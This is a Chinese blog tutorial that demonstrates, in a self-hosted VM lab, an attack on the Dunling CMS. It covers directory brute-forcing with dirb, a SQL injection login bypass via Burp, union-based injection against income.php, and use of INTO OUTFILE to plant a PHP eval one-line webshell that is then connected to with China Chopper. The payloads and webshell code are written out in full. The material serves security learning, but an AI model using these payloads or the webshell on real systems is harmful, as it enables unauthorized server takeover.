后台登录密码绕过+sql注入+一句话木马 实验演示(盾灵)

环境

Windows Server 2008(虚拟机)   安装phpStudy,安装dunling

盾灵投稿系统

dunling是一个CMS在线内容管理器

dirb是Kali内置的一个基于字典的Web目录扫描工具,用来爆破目录的

假设已经知道管理员的登陆用户名是admin

实验演示

①在Windows Server 2008中安装phpStudy,关闭防火墙

下载盾灵源码,将盾灵文件夹放在phpstudy下:C:\phpStudy\PHPTutorial\WWW

看一下Windows Server的IP,是192.168.244.200

看一下本机ip,192.168.1.102

ping一下,看是否能ping通

ok可以ping通

这样,在本机访问192.168.244.200

这样访问会直接访问WinServer的C:\phpStudy\PHPTutorial\WWW 文件夹

有一个默认的index来输出“Hello World”

我们访问 http://192.168.244.200/dunling/, 就可以看到盾灵原创投稿系统的这个页面了

然后我们对这台服务器进行目录爆破

        dirb http://192.168.244.200

前面带加号的表示它在尝试这些目录

没发现什么很有价值的信息

再对dunling目录进行爆破

    dirb http://192.168.244.200/dunling   

看到有一个admin目录,进去看一下

进去是这个,判断它应该就是网站的后台管理员登陆页面

然后尝试看这个页面有没有注入点(我们假设的是已经知道了登录用户名是admin,不然这个实验不好做)

存在注入点的页面,举个例子,它的源码是这样的,就是把我们输入的用户名和密码直接带入到这里面来

当我们知道了正确的用户名的时候,在输入用户名的时候给他闭合单引号然后把后面的注释掉,就可以登录进去了

在这里输入admin之后想再输入’ 却输入不进去

看源码发现他这有一个对符号的过滤

那就上burp吧-_-

打开burp发现爆了个提示8080端口被占用了,然后进到proxy中的options发现running勾选不了

我们进到命令行,查找一下占用8080端口的程序

      netstat -nao |findstr "8080"

然后进到任务管理器,将PID为7192的进程杀掉

之后就发现可以勾选了

然后打开浏览器的FoxyProxy插件,启动它

burp的作用是拦截所有从本机通过8080端口进出的数据包
foxyproxy的作用是让浏览器产生的数据都通过8080端口流出

这样在浏览器上再访问页面时,就会自动跳转到burp,然后浏览器是显示等待访问网站的应答,而burp就是捕获到这个数据包

在burp里我们就可以在admin后面添加我们想进行sql注入的内容了(之前在页面上提交不了因为页面有过滤)

这里构造   

         admin'or 1=1 --+

然后Forward进行转发(如果1次不成功,多点几次,或者之间点击Intercept is on 给关掉,这样就绝对转发过去了)

然后浏览器的页面就变成这样了,就可以进去了

现在我们进入到了后台,我们的目的是拿到它服务器主机的权限

Sql注入手工三部曲

      ①逻辑判断是否存在注入点 

      ②判断字段值

      ③注入

我们来到会员管理

我们在账号里输入一个1,然后点搜索。

看页面的返回形式判断可能有注入点
192.168.244.200/dunling/admin/income.php?t=uid&jq=1

(注意这里判断有注入点必须搜的是存在的账号,这里我们之前看到只有1个UID为1的,所以只能是1。因为只有它正确得搜出来了你才能判断有注入点,如果是一个不存在的账号,和那些一样,你根本不能判断有没有注入点,都是被他拒绝了。就是必须得返回true的时候才能确定这里有注入点)

接下来确定它的字段值,就是找它到底有多少个

sql注入的格式order by

        192.168.244.200/dunling/admin/income.php?t=uid&jq=1' order by 1 --+

下面分别是成功的场景和失败的场景

所以使用二分法的思想,来确定它的字段值个数

确定出来它总共有22个,到了order by 23就不行了

然后来进行联合查询,把22个字段值都查询出来

192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 --+

然后在这里我们可以进行一些其他的操作

database()是显示数据库名

这里将2替换成database(),在之前2的位置就会是运行database()的结果

,

@@datadir   当前绝对路径

注意之前显示的是,1,2,9,所以只能在这3个地方改变

select into outfile   将select后面的内容都写进文件里(写在对方的主机上)

192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'C:\\text.txt' --+

(注意路径要加单引号)

这样在对方的C盘下就出现了一个text文件

但是文件内容有点怪,前面是一些我不太明白,莫名奇妙出现的内容,从后面开始才是我们写入的1,2,3,...,22

我们想控制对方主机,想采用的方法就是给对方电脑里写个一句话木马,然后用菜刀去连接

一句话木马:

        <?php @eval($_POST[cmd])?>

(eval是执行前端传输过来的命令。@是错误回显,不加也能执行,只不过不能回显错误了

   以POST方式接受命令,cmd是变量名,具体的cmd值是我们后面用菜刀传进去的)

这次这个木马要写到对方主机的WWW目录下,新建一个文件,就叫text.php吧

注意如果是从电脑里直接复制过来文件夹的目录,是单斜杠\,是不行的,必须要双斜杠\\

(Windows是\\, Unix,Linux是//)

192.168.244.200/dunling/admin/income.php?t=uid&jq=1' union all select '<?php @eval($_POST[cmd])?>',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php' --+

(注意一句话木马要加‘’)

(如果路径是这种 http://192.168.244.200/dunling/admin/income.php?t=uid&jq=1%27%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20into%20outfile%20%27C:\\text.txt%27%20--+ 是经过url编码了的)

%20是空格
%27是'

执行之后在对方主机的WWW目录下就出现了一个text.php文件

可以看到一句话木马已经写进去了

php文件只会/解析执行php语句,里面的非php语句不会管

这样,我们来执行这个text.php文件或者用菜刀连接它,就可以利用文件里的一句话木马来进行相关操作了

我们打开菜刀

连接路径要直接写到test.php文件,然后后面写上cmd字段值(菜刀就是利用cmd这个变量让对方一句话木马执行然后拿到shell了)

成功连接

  • 5
    点赞
  • 66
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值